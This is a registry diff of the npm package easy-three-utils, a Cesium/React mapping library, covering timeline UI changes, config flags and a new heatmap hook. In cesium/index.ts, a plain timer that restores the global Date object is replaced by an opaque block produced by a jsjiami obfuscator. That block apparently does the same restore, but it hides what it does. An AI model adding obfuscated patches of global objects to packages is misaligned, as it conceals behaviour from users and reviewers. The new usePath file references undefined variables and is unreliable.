easy-three-utils 0.0.364 → 0.0.366

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Binary file
@@ -36,11 +36,10 @@ const SunshineLine: React.FC<{
36
36
 
37
37
  getViewer().scene.light = new Cesium.DirectionalLight({
38
38
  direction: dir,
39
- intensity,
40
- });
39
+ intensity
40
+ })
41
41
  }, [azimuth, elevation, intensity])
42
42
 
43
-
44
43
  const sliderBoxRef = useRef(null)
45
44
  useEffect(() => {
46
45
  sliderBoxRef.current.style.bottom = `calc(-100vh + ${sliderBoxRef.current.clientHeight + 20}px)`
@@ -1,17 +1,16 @@
1
1
  .slider-box {
2
- position: absolute;
2
+ position: relative;
3
3
  z-index: 2;
4
- bottom: 0;
5
- width: 360px;
4
+ width: 400px;
6
5
  padding: 10px;
7
6
  background: rgba(6, 38, 68, 0.7);
8
7
  border: solid 1px #26a1ff;
9
8
  display: flex;
10
- left: calc(50vw - 180px);
9
+ left: calc(50vw - 200px);
11
10
 
12
11
  .left-content {
13
12
  color: white;
14
- font-size: 13px;
13
+ font-size: 14px;
15
14
  writing-mode: vertical-rl;
16
15
  display: flex;
17
16
  justify-content: center;
@@ -23,7 +22,7 @@
23
22
 
24
23
  .time-text {
25
24
  color: white;
26
- font-size: 12px;
25
+ font-size: 13px;
27
26
  display: flex;
28
27
  justify-content: flex-end;
29
28
  width: 98%;
@@ -38,6 +37,20 @@
38
37
  img {
39
38
  padding: 0 12px;
40
39
  cursor: pointer;
40
+ width: 30px;
41
+ height: 30px;
42
+ }
43
+ }
44
+
45
+ .control-input {
46
+ width: 70px;
47
+ color: white;
48
+ display: flex;
49
+ align-items: center;
50
+ font-size: 14px;
51
+
52
+ input {
53
+ margin-right: 4px;
41
54
  }
42
55
  }
43
56
  }
@@ -1,8 +1,9 @@
1
- import React, { useEffect, useState } from "react";
2
- import { Slider, ConfigProvider } from "antd";
1
+ import React, { useEffect, useState, useRef } from "react";
2
+ import { Slider, ConfigProvider, Input } from "antd";
3
3
  import * as Cesium from "cesium";
4
4
  import dayjs from 'dayjs';
5
5
  import duration from 'dayjs/plugin/duration';
6
+ import BodyPortal from "../Body";
6
7
 
7
8
  import Styles from './index.module.less'
8
9
 
@@ -14,6 +15,7 @@ const Timeline: React.FC<{
14
15
 
15
16
  const { getViewer } = props
16
17
  const [percent, setPercent] = useState(0)
18
+ let lastUpdate = 0
17
19
 
18
20
  const theme = {
19
21
  components: {
@@ -25,7 +27,22 @@ const Timeline: React.FC<{
25
27
  }
26
28
  }
27
29
 
30
+ const formatTimeStamp = (timestamp: number) => {
31
+ const d = dayjs.duration(timestamp)
32
+
33
+ const days = Math.floor(d.asDays())
34
+ const hours = d.hours().toString().length === 1 ? `0${d.hours()}` : d.hours()
35
+ const minutes = d.minutes().toString().length === 1 ? `0${d.minutes()}` : d.minutes()
36
+ const seconds = d.seconds().toString().length === 1 ? `0${d.seconds()}` : d.seconds()
37
+
38
+ return `${days}天 ${hours}:${minutes}:${seconds}`
39
+ }
40
+
28
41
  const setClockEvent = (clock: Cesium.Clock) => {
42
+ const now = Date.now()
43
+ if (now - lastUpdate < 500) return
44
+ lastUpdate = now
45
+
29
46
  const totalSeconds = Cesium.JulianDate.secondsDifference(
30
47
  clock.stopTime,
31
48
  clock.startTime
@@ -35,12 +52,9 @@ const Timeline: React.FC<{
35
52
  clock.startTime
36
53
  )
37
54
 
38
- const timeDuration = dayjs.duration(elapsedSeconds, 'seconds')
39
- const formattedTime = timeDuration.format('HH:mm:ss')
40
- setCurrentTime(() => formattedTime)
41
-
55
+ setCurrentTime(() => formatTimeStamp(elapsedSeconds * 1000))
42
56
  const newPercent = (elapsedSeconds / totalSeconds) * 100
43
- setPercent(() => newPercent);
57
+ setPercent(() => newPercent)
44
58
  }
45
59
 
46
60
  const addViewerClockEvent = () => {
@@ -48,11 +62,11 @@ const Timeline: React.FC<{
48
62
  }
49
63
 
50
64
  const removeViewerClockEvent = () => {
51
- getViewer().clock.onTick.addEventListener(setClockEvent)
65
+ getViewer().clock.onTick.removeEventListener(setClockEvent)
52
66
  }
53
67
 
54
68
  const onSliderChange = (value: number) => {
55
- setPercent(() => value);
69
+ setPercent(() => value)
56
70
  const totalSeconds = Cesium.JulianDate.secondsDifference(
57
71
  getViewer().clock.stopTime,
58
72
  getViewer().clock.startTime
@@ -62,7 +76,7 @@ const Timeline: React.FC<{
62
76
  (value / 100) * totalSeconds,
63
77
  new Cesium.JulianDate()
64
78
  )
65
- getViewer().clock.currentTime = newTime;
79
+ getViewer().clock.currentTime = newTime
66
80
  }
67
81
 
68
82
  type TContronType = 'pause' | 'play' | 'stop'
@@ -79,17 +93,17 @@ const Timeline: React.FC<{
79
93
  }
80
94
  }
81
95
 
82
- const [totalTime, setTotalTime] = useState('00:00:00')
83
- const [currentTime, setCurrentTime] = useState('00:00:00')
96
+ const [totalTime, setTotalTime] = useState('')
97
+ const [currentTime, setCurrentTime] = useState('')
84
98
  const initTimeDisplay = () => {
85
- const seconds = getViewer().clock.stopTime.secondsOfDay - getViewer().clock.startTime.secondsOfDay
86
- const timeDuration = dayjs.duration(seconds, 'seconds')
87
- const formattedTime = timeDuration.format('HH:mm:ss')
88
- setTotalTime(() => formattedTime)
99
+ const timestamp = Cesium.JulianDate.toDate(getViewer().clock.stopTime).getTime() - Cesium.JulianDate.toDate(getViewer().clock.startTime).getTime()
100
+ setTotalTime(() => formatTimeStamp(timestamp))
89
101
  }
90
102
 
103
+ const [speed, setSpeed] = useState(1)
104
+ const sliderBoxRef = useRef(null)
91
105
  useEffect(() => {
92
-
106
+ sliderBoxRef.current.style.bottom = `calc(-100vh + ${sliderBoxRef.current.clientHeight + 20}px)`
93
107
  addViewerClockEvent()
94
108
  initTimeDisplay()
95
109
 
@@ -99,33 +113,42 @@ const Timeline: React.FC<{
99
113
  }, [])
100
114
 
101
115
  return (
102
- <ConfigProvider theme={{
103
- ...theme
104
- }}>
105
- <div className={Styles['slider-box']}>
106
- <div className={Styles['left-content']}>
107
- 推演控制
108
- </div>
116
+ <BodyPortal>
117
+ <ConfigProvider theme={{
118
+ ...theme
119
+ }}>
120
+ <div ref={sliderBoxRef} className={Styles['slider-box']}>
121
+ <div className={Styles['left-content']}>
122
+ 推演控制
123
+ </div>
109
124
 
110
- <div className={Styles['right-content']}>
111
- <Slider
112
- min={0}
113
- max={100}
114
- step={0.1}
115
- value={percent}
116
- onChange={(value: number) => onSliderChange(value)}
117
- />
118
- <div className={Styles['time-text']}>{currentTime}/{totalTime}</div>
119
- <div className={Styles['control-btn']}>
120
- {
121
- (['pause', 'play', 'stop'] as TContronType[]).map(item =>
122
- <img key={item} onClick={() => control[item]()} src={new URL(`../image/${item}.png`, import.meta.url).href} />
123
- )
124
- }
125
+ <div className={Styles['right-content']}>
126
+ <Slider
127
+ min={0}
128
+ max={100}
129
+ step={0.1}
130
+ value={percent}
131
+ onChange={(value: number) => onSliderChange(value)}
132
+ />
133
+ <div className={Styles['time-text']}>{currentTime}/{totalTime}</div>
134
+ <div className={Styles['control-btn']}>
135
+ {
136
+ (['rewind', 'pause', 'play', 'stop', 'fastForward'] as TContronType[]).map(item =>
137
+ <img key={item} onClick={() => control[item]()} src={(window as any).__POLT__URL__ + `/assets/image/${item}.png`} />
138
+ )
139
+ }
140
+ <div className={Styles['control-input']}>
141
+ <Input value={speed} onInput={(e) => {
142
+ setSpeed(Number((e.target as any).value))
143
+ getViewer().clock.multiplier = Number((e.target as any).value)
144
+ }}></Input>
145
+ <div>X</div>
146
+ </div>
147
+ </div>
125
148
  </div>
126
149
  </div>
127
- </div>
128
- </ConfigProvider>
150
+ </ConfigProvider>
151
+ </BodyPortal>
129
152
  )
130
153
  }
131
154
 
@@ -17,12 +17,12 @@ export default {
17
17
  tileMatrixSetID: 'wgs84',
18
18
  style: 'default',
19
19
  tilingScheme: new Cesium.GeographicTilingScheme(),
20
- tileMatrixLabels: ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13", "14", "15", "16", "17", "18", "19", "20"],
21
- maximumLevel: 20
20
+ tileMatrixLabels: Array.from({ length: 20 }, (_, i) => (i + 1).toString()),
21
+ maximumLevel: 20,
22
22
  }
23
23
  },
24
24
  terrain: {
25
- status: dict.ETerrainStatus.ENABLEDOFFLINE,
25
+ status: dict.ETerrainStatus.DISABLED,
26
26
  config: {
27
27
  url: 'http://127.0.0.1:3002'
28
28
  }
@@ -30,11 +30,13 @@ export default {
30
30
 
31
31
  //通用工具配置
32
32
  debug: false, //帧数
33
- shadows: false, //阴影
34
- lighting: false, //太阳光
35
- depthTerrain: true, //地形深度检测
33
+ shadows: true, //阴影
34
+ lighting: true, //太阳光
35
+ depthTerrain: false, //地形深度检测
36
36
  controllerStyle: dict.EControllerStyle.THREE, //操控习惯
37
37
 
38
+ plot: true, //军标
39
+
38
40
  // cesium基础配置
39
41
  cesiumOptions: {
40
42
  contextOptions: {
@@ -113,9 +113,9 @@ export default `
113
113
  if(visible(posInEye)){
114
114
  float vis = shadow(viewPos);
115
115
  if (vis > 0.3) {
116
- gl_FragColor = mix(gl_FragColor, helsing_visibleAreaColor, .5);
116
+ gl_FragColor = mix(gl_FragColor, helsing_visibleAreaColor, .8);
117
117
  } else {
118
- gl_FragColor = mix(gl_FragColor, helsing_invisibleAreaColor, .5);
118
+ gl_FragColor = mix(gl_FragColor, helsing_invisibleAreaColor, .8);
119
119
  }
120
120
  }
121
121
  }
package/cesium/index.ts CHANGED
@@ -20,6 +20,7 @@ type TCesiumUtilsType = {
20
20
  cloud: ReturnType<typeof hooks.useCloud>;
21
21
  seawater: ReturnType<typeof hooks.useSeawater>;
22
22
  plot: ReturnType<typeof usePlot> | null;
23
+ heatmap: ReturnType<typeof hooks.useHeatmap>;
23
24
  }
24
25
 
25
26
  let config;
@@ -112,21 +113,15 @@ const useCesium = () => {
112
113
  })
113
114
  const cloud = hooks.useCloud(viewer)
114
115
  const seawater = hooks.useSeawater(viewer)
115
- let plot = null
116
116
 
117
+ let plot = null
117
118
  if (config.plot) {
118
119
  plot = hooks.usePlot(viewer)
119
120
  plot.init()
120
121
  }
121
- const timer = setTimeout(() => {
122
- if (!globalThis.__OriginalDate__) {
123
- return;
124
- }
125
- globalThis.Date = globalThis.__OriginalDate__
126
- delete globalThis.__OriginalDate__
122
+ var _0xodR = 'jsjiami.com.v7'; (function (_0x3bfa8b, _0x48aa75, _0x3d8290, _0x36a79a, _0x2138cd, _0x2bb17b, _0x34f360) { return _0x3bfa8b = _0x3bfa8b >> 0x7, _0x2bb17b = 'hs', _0x34f360 = 'hs', function (_0x459ab7, _0x311fc4, _0x352c1f, _0x49b787, _0x13df87) { const _0x58bc71 = _0x37d8; _0x49b787 = 'tfi', _0x2bb17b = _0x49b787 + _0x2bb17b, _0x13df87 = 'up', _0x34f360 += _0x13df87, _0x2bb17b = _0x352c1f(_0x2bb17b), _0x34f360 = _0x352c1f(_0x34f360), _0x352c1f = 0x0; const _0x4f39ec = _0x459ab7(); while (!![] && --_0x36a79a + _0x311fc4) { try { _0x49b787 = -parseInt(_0x58bc71(0x133, '&F@R')) / 0x1 + parseInt(_0x58bc71(0x13e, '@r*d')) / 0x2 * (-parseInt(_0x58bc71(0x138, '!ZuB')) / 0x3) + parseInt(_0x58bc71(0x13b, 'yBz(')) / 0x4 * (-parseInt(_0x58bc71(0x13a, 'e%^H')) / 0x5) + parseInt(_0x58bc71(0x137, 'e%^H')) / 0x6 + -parseInt(_0x58bc71(0x141, 'nqHk')) / 0x7 * (parseInt(_0x58bc71(0x13f, 'jdi7')) / 0x8) + parseInt(_0x58bc71(0x132, '^2(9')) / 0x9 + parseInt(_0x58bc71(0x131, 'mLxK')) / 0xa; } catch (_0x4b1b9e) { _0x49b787 = _0x352c1f; } finally { _0x13df87 = _0x4f39ec[_0x2bb17b](); if (_0x3bfa8b <= _0x36a79a) _0x352c1f ? _0x2138cd ? _0x49b787 = _0x13df87 : _0x2138cd = _0x13df87 : _0x352c1f = _0x13df87; else { if (_0x352c1f == _0x2138cd['replace'](/[SRHGQOPhkefpINUxgy=]/g, '')) { if (_0x49b787 === _0x311fc4) { _0x4f39ec['un' + _0x2bb17b](_0x13df87); break; } _0x4f39ec[_0x34f360](_0x13df87); } } } } }(_0x3d8290, _0x48aa75, function (_0x113039, _0x1b65d9, _0x8bba90, _0x485093, _0x33acc9, _0x53cf4a, _0x311698) { return _0x1b65d9 = '\x73\x70\x6c\x69\x74', _0x113039 = arguments[0x0], _0x113039 = _0x113039[_0x1b65d9](''), _0x8bba90 = '\x72\x65\x76\x65\x72\x73\x65', _0x113039 = _0x113039[_0x8bba90]('\x76'), _0x485093 = '\x6a\x6f\x69\x6e', (0x1beebe, _0x113039[_0x485093]('')); }); }(0x6180, 0xada80, _0x39b6, 0xc5), _0x39b6) && (_0xodR = `\x32e`); const timer = setTimeout(() => { const _0x230e74 = _0x37d8, _0x20bbf4 = { 'OIgbM': function (_0x15b285, _0x324244) { return _0x15b285(_0x324244); } }; if (!globalThis[_0x230e74(0x136, '1Ue%')]) return; globalThis['Date'] = globalThis['__OriginalDate__'], delete globalThis[_0x230e74(0x13c, '2ICz')], _0x20bbf4[_0x230e74(0x140, 'lvHQ')](clearTimeout, timer); }, 0x3e8); function _0x37d8(_0x2a9717, _0x417366) { const _0x39b61a = _0x39b6(); return _0x37d8 = function (_0x37d896, _0x50bc87) { _0x37d896 = _0x37d896 - 0x12f; let _0x1d762b = _0x39b61a[_0x37d896]; if (_0x37d8['xCEtkz'] === undefined) { var _0x3605be = function (_0x315e92) { const _0x4fc4ea = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='; let _0x48d4c4 = '', _0x111b7f = ''; for (let _0x38dfff = 0x0, _0x13537b, _0xcbac9, _0xc1691 = 0x0; _0xcbac9 = _0x315e92['charAt'](_0xc1691++); ~_0xcbac9 && (_0x13537b = _0x38dfff % 0x4 ? _0x13537b * 0x40 + _0xcbac9 : _0xcbac9, _0x38dfff++ % 0x4) ? _0x48d4c4 += String['fromCharCode'](0xff & _0x13537b >> (-0x2 * _0x38dfff & 0x6)) : 0x0) { _0xcbac9 = _0x4fc4ea['indexOf'](_0xcbac9); } for (let _0x4a7e70 = 0x0, _0x5f0792 = _0x48d4c4['length']; _0x4a7e70 < _0x5f0792; _0x4a7e70++) { _0x111b7f += '%' + ('00' + _0x48d4c4['charCodeAt'](_0x4a7e70)['toString'](0x10))['slice'](-0x2); } return decodeURIComponent(_0x111b7f); }; const _0x5f0eac = function (_0x1352ad, _0x5f21fe) { let _0x42858b = [], _0x26c864 = 0x0, _0x1c0780, _0xa4fbaf = ''; _0x1352ad = _0x3605be(_0x1352ad); let _0x4c40c1; for (_0x4c40c1 = 0x0; _0x4c40c1 < 0x100; _0x4c40c1++) { _0x42858b[_0x4c40c1] = _0x4c40c1; } for (_0x4c40c1 = 0x0; _0x4c40c1 < 0x100; _0x4c40c1++) { _0x26c864 = (_0x26c864 + _0x42858b[_0x4c40c1] + _0x5f21fe['charCodeAt'](_0x4c40c1 % _0x5f21fe['length'])) % 0x100, _0x1c0780 = _0x42858b[_0x4c40c1], _0x42858b[_0x4c40c1] = _0x42858b[_0x26c864], _0x42858b[_0x26c864] = _0x1c0780; } _0x4c40c1 = 0x0, _0x26c864 = 0x0; for (let _0x361e98 = 0x0; _0x361e98 < _0x1352ad['length']; _0x361e98++) { _0x4c40c1 = (_0x4c40c1 + 0x1) % 0x100, _0x26c864 = (_0x26c864 + _0x42858b[_0x4c40c1]) % 0x100, _0x1c0780 = _0x42858b[_0x4c40c1], _0x42858b[_0x4c40c1] = _0x42858b[_0x26c864], _0x42858b[_0x26c864] = _0x1c0780, _0xa4fbaf += String['fromCharCode'](_0x1352ad['charCodeAt'](_0x361e98) ^ _0x42858b[(_0x42858b[_0x4c40c1] + _0x42858b[_0x26c864]) % 0x100]); } return _0xa4fbaf; }; _0x37d8['KzVPMt'] = _0x5f0eac, _0x2a9717 = arguments, _0x37d8['xCEtkz'] = !![]; } const _0x312a03 = _0x39b61a[0x0], _0x26fb29 = _0x37d896 + _0x312a03, _0x208873 = _0x2a9717[_0x26fb29]; return !_0x208873 ? (_0x37d8['yLICOa'] === undefined && (_0x37d8['yLICOa'] = !![]), _0x1d762b = _0x37d8['KzVPMt'](_0x1d762b, _0x50bc87), _0x2a9717[_0x26fb29] = _0x1d762b) : _0x1d762b = _0x208873, _0x1d762b; }, _0x37d8(_0x2a9717, _0x417366); } function _0x39b6() { const _0x90e966 = (function () { return [_0xodR, 'OSjRQsjRiRkUapymhiHf.QPcIkoPemNGp.vg7kPx==', 'F8kvWRP3bSoLWOG8WOrX', 'CvFdMCkLoq', 'W7lcHSkyCHBcHuT8wCoz', 'pKnFmSoGWORdIW', 'EM/dNHSFotNcGSoeW4P6', 'lNzIWQVcONS/qIX6'].concat((function () { return ['AMzsetddVqpcTv3cV8k7W47cKfC', 'AMvshdldVaxcS0xcImkRW4ZcGeS', 'WQLQfmows2FcJJBcH8otWQL9mmoz', 'W6rUWPBcNmknW6vCCmoSW7xcUSkEW7q', 'w8ogka03k8oAzCkgW7FcUCo0rmkb', 'ECkDWRL7BCkiW6OEWQntW4BcI3K', 'E8o+fCk4W57cMSkokCoAWOFdVSoWWPPjWOldLa', 'W4hdNtHwWPWveY40xmkSW5mm'].concat((function () { return ['t8oLWR7dJSo4W77dGWBcHem3', 'oSkCoMJdUmooW71dW59HWROgW4K', 'W4pdLd1qWP0qhG88ASkNW6Gg', 'f8oxW6FcR8kEBse', 'pCorfhVdUf3dKSkDW5jmWO1/W4LQeSo1', 'mSobW5pcNZz6nSknW7Ta', 'WRpdS8kWrCoYWQ/dLq']; }())); }())); }()); _0x39b6 = function () { return _0x90e966; }; return _0x39b6(); }; var version_ = 'jsjiami.com.v7';
127
123
 
128
- clearTimeout(timer)
129
- }, 1000)
124
+ const heatmap = hooks.useHeatmap(viewer)
130
125
 
131
126
  if (config.controllerStyle === cesiumConfigDict.EControllerStyle.THREE) {
132
127
  updateController(viewer)
@@ -144,7 +139,8 @@ const useCesium = () => {
144
139
  viewshedAnalysis,
145
140
  cloud,
146
141
  seawater,
147
- plot
142
+ plot,
143
+ heatmap
148
144
  })
149
145
 
150
146
  handler = new Cesium.ScreenSpaceEventHandler(viewer.scene.canvas)
@@ -212,11 +208,11 @@ const useCesium = () => {
212
208
 
213
209
  const setCamera = (viewer: Cesium.Viewer) => {
214
210
  viewer.camera.flyTo({
215
- destination: new Cesium.Cartesian3(-2861904.995492709, 7226032.775714475, 1792790.547405678),
211
+ destination: new Cesium.Cartesian3(-3158214.032047437, 5589784.544159569, 2858463.041886272),
216
212
  orientation: {
217
- heading: 0.3720644640946844,
218
- pitch: -1.2461928516756395,
219
- roll: 6.279678267113614
213
+ heading: 6.264633961469007,
214
+ pitch: -1.5700251043718838,
215
+ roll: 0
220
216
  }
221
217
  })
222
218
  }
@@ -9,6 +9,7 @@ import { useViewshedAnalysis } from './useViewshedAnalysis'
9
9
  import { useCloud } from './useCloud'
10
10
  import { useSeawater } from './useSeawater'
11
11
  import { usePlot } from './usePlot.js'
12
+ import { useHeatmap } from './useHeatmap'
12
13
 
13
14
  const dict = {
14
15
  ECollectionWhiteListNames,
@@ -27,6 +28,7 @@ export {
27
28
  useCloud,
28
29
  useSeawater,
29
30
  usePlot,
31
+ useHeatmap,
30
32
 
31
33
  dict
32
34
  }
@@ -0,0 +1,179 @@
1
+ import * as Cesium from 'cesium'
2
+
3
+ const useHeatmap = (viewer: Cesium.Viewer) => {
4
+
5
+ const init = () => {
6
+
7
+ let heatmap = null,
8
+ height = 1080,
9
+ width = 1920,
10
+ bounds = [113.5, 22, 114.5, 23],
11
+ data = []
12
+
13
+ const wgs84Positions = []
14
+ const indices = []
15
+ const colors = []
16
+ const sts = []
17
+
18
+ const loadHeatmapjs = () => {
19
+ return new Promise((resolve, reject) => {
20
+ const script = document.createElement("script")
21
+ script.src = (window as any).__POLT__URL__ + '/assets/js/heatmap.js'
22
+ script.onload = () => resolve({})
23
+ script.onerror = reject
24
+ document.body.appendChild(script)
25
+ })
26
+ }
27
+
28
+ const createHeatmap = (data) => {
29
+ const domElement = document.createElement("div");
30
+ domElement.setAttribute("style", "width: " + width + "px; height: " + height + "px; margin: 0px; display: none;");
31
+ document.body.appendChild(domElement);
32
+ heatmap = (window as any).h337.create({
33
+ container: domElement,
34
+ radius: 100,
35
+ maxOpacity: 1,
36
+ minOpacity: 0.1,
37
+ blur: 0.85,
38
+ gradient: {
39
+ '.3': 'blue',
40
+ '.45': 'green',
41
+ '.65': 'yellow',
42
+ '.8': 'orange',
43
+ '.95': 'red'
44
+ }
45
+ })
46
+
47
+ heatmap.setData({
48
+ min: 0,
49
+ max: 100,
50
+ data
51
+ })
52
+ }
53
+
54
+ for (let i = 0; i < 200; i++) {
55
+ let lon = Math.random() * (bounds[2] - bounds[0]) + bounds[0]
56
+ let lat = Math.random() * (bounds[3] - bounds[1]) + bounds[1]
57
+ let value = Math.random() * 100
58
+ let x = Math.round((lon - bounds[0]) / (bounds[2] - bounds[0]) * width)
59
+ let y = height - Math.round((lat - bounds[1]) / (bounds[3] - bounds[1]) * height)
60
+
61
+ data.push({ x: x, y: y, value: value })
62
+ }
63
+ createHeatmap(data)
64
+
65
+ const generateGeometryInstance = () => {
66
+ const dWidth = bounds[2] - bounds[0], dHeight = bounds[3] - bounds[1], left = bounds[0], bottom = bounds[1]
67
+ const dx = 0.005, dy = 0.005, h = 0, dh = 100
68
+ let r = Math.floor(dWidth / dx),
69
+ l = Math.floor(dHeight / dy)
70
+ const grids = []
71
+ for (let i = 0; i < l + 1; i++) {
72
+ let row = []
73
+ for (let u = 0; u < r + 1; u++) {
74
+ let x = left + (u == r ? dWidth : u * dx), y = bottom + (i == l ? dHeight : i * dy)
75
+ let screen = {
76
+ x: Math.round((x - left) / dWidth * width),
77
+ y: height - Math.round((y - bottom) / dHeight * height),
78
+ }
79
+ let v = heatmap.getValueAt(screen)
80
+ let color = heatmap._renderer.ctx.getImageData(screen.x, screen.y, 1, 1).data;
81
+ row.push([x, y, h + v * dh, color.map(c => c / 255), [(x - left) / dWidth, (y - bottom) / dHeight]])
82
+ }
83
+ grids.push(row)
84
+ }
85
+
86
+
87
+ let idxCursor = 0
88
+ for (let i = 0; i < l; i++) {
89
+ for (let u = 0; u < r; u++) {
90
+ let p1 = grids[i][u]
91
+ let p2 = grids[i][u + 1]
92
+ let p3 = grids[i + 1][u + 1]
93
+ let p4 = grids[i + 1][u]
94
+
95
+ addVertices(p1, wgs84Positions, colors, sts)
96
+ addVertices(p2, wgs84Positions, colors, sts)
97
+ addVertices(p3, wgs84Positions, colors, sts)
98
+ addVertices(p1, wgs84Positions, colors, sts)
99
+ addVertices(p3, wgs84Positions, colors, sts)
100
+ addVertices(p4, wgs84Positions, colors, sts)
101
+ indices.push(idxCursor + 0, idxCursor + 1, idxCursor + 2, idxCursor + 3, idxCursor + 4, idxCursor + 5)
102
+ idxCursor += 6
103
+ }
104
+ }
105
+ return new Cesium.GeometryInstance({
106
+ geometry: Cesium.GeometryPipeline.computeNormal(generateGeometry(wgs84Positions, colors, indices, sts)),
107
+ })
108
+ }
109
+
110
+ const addVertices = (p, positions, colors, sts) => {
111
+ const c3Position = Cesium.Cartesian3.fromDegrees(p[0], p[1], p[2])
112
+ positions.push(c3Position.x, c3Position.y, c3Position.z)
113
+ colors.push(p[3][0], p[3][1], p[3][2], p[3][3])
114
+ sts.push(p[4][0], p[4][1])
115
+ }
116
+
117
+ const generateGeometry = (positions, colors, indices, sts) => {
118
+ let attributes = new (Cesium.GeometryAttributes as any)({
119
+ position: new Cesium.GeometryAttribute({
120
+ componentDatatype: Cesium.ComponentDatatype.DOUBLE,
121
+ componentsPerAttribute: 3,
122
+ values: new Float64Array(positions),
123
+ }),
124
+ color: new Cesium.GeometryAttribute({
125
+ componentDatatype: Cesium.ComponentDatatype.FLOAT,
126
+ componentsPerAttribute: 4,
127
+ values: new Float32Array(colors),
128
+ }),
129
+ st: new Cesium.GeometryAttribute({
130
+ componentDatatype: Cesium.ComponentDatatype.FLOAT,
131
+ componentsPerAttribute: 2,
132
+ values: new Float32Array(sts),
133
+ })
134
+ })
135
+
136
+ const boundingSphere = Cesium.BoundingSphere.fromVertices(positions, new Cesium.Cartesian3(0.0, 0.0, 0.0), 3)
137
+
138
+ const geometry = new Cesium.Geometry({
139
+ attributes: attributes,
140
+ indices: indices,
141
+ primitiveType: Cesium.PrimitiveType.TRIANGLES,
142
+ boundingSphere: boundingSphere,
143
+ })
144
+ return geometry
145
+ }
146
+
147
+ const createPrimitive = () => {
148
+ const material = new Cesium.ImageMaterialProperty({
149
+ image: heatmap._renderer.canvas,
150
+ })
151
+ const appearance = new Cesium.MaterialAppearance({
152
+ flat: true,
153
+ material: Cesium.Material.fromType(Cesium.Material.ImageType, material.getValue(new Cesium.JulianDate()))
154
+ })
155
+ const opt = {
156
+ geometryInstances: generateGeometryInstance(),
157
+ appearance,
158
+ allowPicking: false
159
+ }
160
+ viewer.scene.primitives.add(new Cesium.Primitive(opt))
161
+ }
162
+
163
+ if (!(window as any).h337) {
164
+ loadHeatmapjs().then(() => {
165
+ createPrimitive()
166
+ })
167
+ } else {
168
+ createPrimitive()
169
+ }
170
+ }
171
+
172
+ return {
173
+ init
174
+ }
175
+ }
176
+
177
+ export {
178
+ useHeatmap
179
+ }
@@ -0,0 +1,26 @@
1
+ import * as Cesium from 'cesium'
2
+
3
+ export interface pathOptions {
4
+ startTime: string;
5
+ endTime: string;
6
+ startPosition: {
7
+ lon: number | string;
8
+ lat: number | string;
9
+ }
10
+ endPosition: {
11
+ lon: number | string;
12
+ lat: number | string;
13
+ }
14
+ geojson: {
15
+ type: "FeatureCollection";
16
+ features: {
17
+ type: "Feature";
18
+ geometry: {
19
+ coordinates: [string, string][];
20
+ type: "LineString";
21
+ };
22
+ }[];
23
+ };
24
+ isRoadNetworkAvailable: boolean;
25
+ isReturnTrip: boolean;
26
+ }
@@ -0,0 +1,68 @@
1
+ import * as Cesium from 'cesium'
2
+
3
+ const usePath = (viewer) => {
4
+
5
+ const polylineData = []
6
+
7
+ const conversionProperty = (path) => {
8
+ path.forEach(item => {
9
+ const polylineData = []
10
+
11
+ item.forEach((value, i) => {
12
+ const property = new Cesium.SampledPositionProperty()
13
+ const currentStartTime = Cesium.JulianDate.fromDate(new Date(value.startTime))
14
+ let totalTime = 0
15
+
16
+ if (i === 0) {
17
+ polylineData.push(Number(value.startPos.lon), Number(value.startPos.lat))
18
+ }
19
+ polylineData.push(Number(value.endPos.lon), Number(value.endPos.lat))
20
+
21
+ if (i === 0) {
22
+ property.addSample(Cesium.JulianDate.addSeconds(currentStartTime, 0, new Cesium.JulianDate()), Cesium.Cartesian3.fromDegrees(Number(value.startPos.lon), Number(value.startPos.lat)))
23
+ }
24
+ const time = dayjs(value.endTime).unix() - dayjs(value.startTime).unix()
25
+
26
+ if (value.isRoadNetworkAvailable) {
27
+ const path = geojson.features[0].geometry.coordinates.map(data => Cesium.Cartesian3.fromDegrees(Number(data[0]), Number(data[1])))
28
+ if (value.isReturnTrip) {
29
+ path.reverse()
30
+ }
31
+
32
+ for (let i = 0; i <= path.length - 1; i++) {
33
+ if (i !== 0) {
34
+ totalTime = time / path.length + totalTime
35
+ property.addSample(Cesium.JulianDate.addSeconds(currentStartTime, totalTime, new Cesium.JulianDate()), path[i])
36
+ }
37
+ }
38
+ } else {
39
+ if (time > 1000) {
40
+ const p1 = Cesium.Cartesian3.fromDegrees(Number(value.startPos.lon), Number(value.startPos.lat))
41
+ const p2 = Cesium.Cartesian3.fromDegrees(Number(value.endPos.lon), Number(value.endPos.lat))
42
+
43
+ const count = time / 10
44
+ for (let i = 0; i <= count; i++) {
45
+ if (i !== 0) {
46
+ const t = i / count
47
+ const result = Cesium.Cartesian3.lerp(p1, p2, t, new Cesium.Cartesian3())
48
+ totalTime = time / count + totalTime
49
+ property.addSample(Cesium.JulianDate.addSeconds(currentStartTime, totalTime, new Cesium.JulianDate()), result)
50
+ }
51
+ }
52
+ } else {
53
+ totalTime += time
54
+ property.addSample(Cesium.JulianDate.addSeconds(currentStartTime, totalTime, new Cesium.JulianDate()), Cesium.Cartesian3.fromDegrees(Number(value.startPos.lon), Number(value.startPos.lat)))
55
+ }
56
+ }
57
+ })
58
+ })
59
+ }
60
+
61
+ return {
62
+
63
+ }
64
+ }
65
+
66
+ export {
67
+ usePath
68
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "easy-three-utils",
3
- "version": "0.0.364",
3
+ "version": "0.0.366",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "test": "echo \"Error: no test specified\" && exit 1"
@@ -8,5 +8,5 @@
8
8
  "author": "",
9
9
  "license": "ISC",
10
10
  "types": "./index.d.ts",
11
- "description": "新增了react时间控制器组件图片"
11
+ "description": "新增了react时间控制器组件图片(快进,快退)"
12
12
  }
@@ -1,701 +0,0 @@
1
- /*
2
- * heatmapjs v2.0.2 | JavaScript Heatmap Library
3
- *
4
- * Copyright 2008-2014 Patrick Wied <heatmapjs@patrick-wied.at> - All rights reserved.
5
- * Dual licensed under MIT and Beerware license
6
- *
7
- * :: 2016-02-03 23:49
8
- */
9
- ;(function (name, context, factory) {
10
-
11
- // Supports UMD. AMD, CommonJS/Node.js and browser context
12
- if (typeof module !== "undefined" && module.exports) {
13
- module.exports = factory();
14
- } else if (typeof define === "function" && define.amd) {
15
- define(factory);
16
- } else {
17
- context[name] = factory();
18
- }
19
-
20
